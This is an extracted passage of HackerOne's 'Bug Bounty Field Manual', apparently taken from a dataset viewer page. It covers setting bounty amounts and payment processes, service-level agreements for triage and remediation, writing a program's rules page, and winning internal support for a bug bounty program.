CHAPTER 2 net a $2,500 bounty, but any other XSRF on a non-core property results in a much lower bounty of $140. Money talks! This is a great example of using bounty structure to incentivize hackers to target and report the issues you care the most about. Bounty amounts are certainly a hot topic, but HackerOne arms you with data and access to experts in order to come to the best conclusion. For those who want that extra insight and consultative approach, our Professional, Enterprise, and Fully Managed customers have access to a HackerOne representative who will walk you through the entire process. Chapter 2.3.2: Define your bounty awarding process So you've settled on how much to pay for various types of bugs. But how do you actually pay out? Without Hacker One, you and your finance / ops team will have to manage the ENTIRE process. This includes compliance (like OFAC and AML laws), taxation (getting W9s from hackers, issuing 1099s at the end of the year), covering processing fees, dealing with currency exchange rates, and other messy logistics. All this to pay a bounty to a Hacker. Imagine dealing with that 100x over, with different countries around the world! Thankfully, our no-hassle bounty platform handles all of this for you! HackerOne's payment process is painless - you can either set up a prepaid balance to pay bounties out from, or add a credit card to your account for payments. After you've done that, it's as simple as defining a bounty amount on the report: SET AWARD AMOUNT $500 Add Bonus You can even add a "bonus" on top for particularly clever or well-written reports. 16
|
Bug.Bounty.Field.Manual
| 356
|
17
|
CHAPTER 2 Chapter 2.4: Determine your Service Level Agreements It may seem counterintuitive, but running a bug bounty program is akin to providing a service to hackers who participate in your program. The most successful bug bounty programs have well-defined service level agreements (SLAs) that they share with hackers on their rules/policy page. The three big SLAs to consider are: 1. Time to triage / response on a new report 2. Time to bounty (after validation) 3. Time to remediation Let's spend a minute to look at each of these categories a little closer: Time to triage / response on a new report depends on the resources available to you, your team's expertise level, the sophistication or esoteric nature of the bug, and your report volume. HackerOne recommends an SLA of two business days for time to triage. In his Hacker Herding blog post, Dan Adams, Web Application Security Specialist at Sky Betting and Gaming suggests to timebox triage. He says, "It's essential therefore in order to keep to pre-agreed SLAs (and deliver on those hacker expectations) to clearly delineate and set aside time dedicated to triaging and progressing vulnerability reports." Time to bounty (after validation) depends on which payout model you choose. Some of our top programs pay bounties within a few days of report receipt! At a minimum, | recommend determining and issuing a bounty within 1-3 weeks from time of triage. 17
|
Bug.Bounty.Field.Manual
| 307
|
18
|
CHAPTER 2 Time to remediation depends greatly on the severity of the issue and the complexity of the fix. Of these three SLAs, time to remediation probably has the most wiggle room, but it's still very important! Security only improves when bugs are fixed, not when they are found, and many hackers participate in bug bounties because they want to see security improve as a result of their work. HackerOne recommends the following SLAs for remediation timelines based on severity: Critical = 1 day High = 1-2 weeks Medium = 4-8 weeks Low = 3 months Chapter 2.5: Craft your policy/rules page Transparency between hackers and security teams is vital to a successful bug bounty program. The "front door" for hackers to any bug bounty program is the security page, which commonly contains your disclosure policy, rules of engagement, scope, and other important information. Twitter, Uber, Snapchat, Coinbase, and Mail.ru (among many others!) have great security pages that incorporate elements outlined in this guide. Three benefits of having a rock solid security page include: It steers hackers towards the scope and vulnerabilities you care most about It sets clear expectations around bounty pricing and timelines You garner more trust (and participation!) from top hackers At a high level, you should ensure your rules page includes the following elements: 1. A well-defined scope 2. Bounty structure 3. Qualifying VS. non-qualifying vulnerabilities 4. Service level agreements 5. Eligibility/participation requirements 18
|
Bug.Bounty.Field.Manual
| 312
|
19
|
CHAPTER 2 For a further deep dive on this subject, check out our in-depth guide on how to craft your rules page. James Kettle, Head of Research at Portswigger (makers of the popular Burp Suite tool) says the security page is something that should be carefully crafted. " I spent a lot of time on it. I think people especially like the 'known issues' section as it saves them from wasting time reporting something that we already know about. - JAMES KETTLE, HEAD OF RESEARCH AT PORTSWIGGER And for all you overachievers out there, the NTIA Safety Working Group also has some good advice on this topic. 19
|
Bug.Bounty.Field.Manual
| 138
|
20
|
CHAPTER 3 CHAMPION INTERNALLY Thus far we've gone through a lot of the blocking and tackling basics for the planning part of your bug bounty program. Chapters 1 and 2 describe many of the planning details for your bug bounty program.
|
Bug.Bounty.Field.Manual
| 50
|
21
|
CHAPTER 3 You've determined you're ready, primed your vulnerability management processes, defined bug bounty roles and responsibilities, gone through the details of your bounty process, set up a budget, created your policy, and now - now you're ready to sprint ahead to bug bounty glory! Well, not quite. Have you gotten management approval yet for the budget? Did you talk to all pertinent internal team members and discuss the bug bounty process with them? As you can see, and are now becoming more aware, championing a bug bounty initiative requires a lot of people to be on-board! It all starts with you, though. Your passion and commitment to launching a program can (and will be!) infectious. Think of it like you're Luke Skywalker and your engineering and development teams are Han, Chewbacca, C3PO, R2D2, and Leia - you can't win the battle yourself, but without you, the whole galaxy will fall apart. It's your job to get the supporting cast on board. Part of how you do that is to make sure everyone is aware of how much value will be derived from these efforts. Beyond the core cast members, you have PR, legal, and executive leadership. Taking our Star Wars analogy further, let's say they're Lando Calrissian, Obi-wan Kenobe, and Yoda (Lando is obviously the PR guy). Involving everyone, gathering feedback, and showing them the potential of this initiative will go a long way towards launching and running a successful program, as well as result in greater feedback loops and overarching improvements to your security posture (more on this in chapter 4 and 5). So this sounds great and all, but how do you actually go about doing it? 21
|
Bug.Bounty.Field.Manual
| 359
|
End of preview. Expand
in Data Studio
No dataset card yet
- Downloads last month
- 11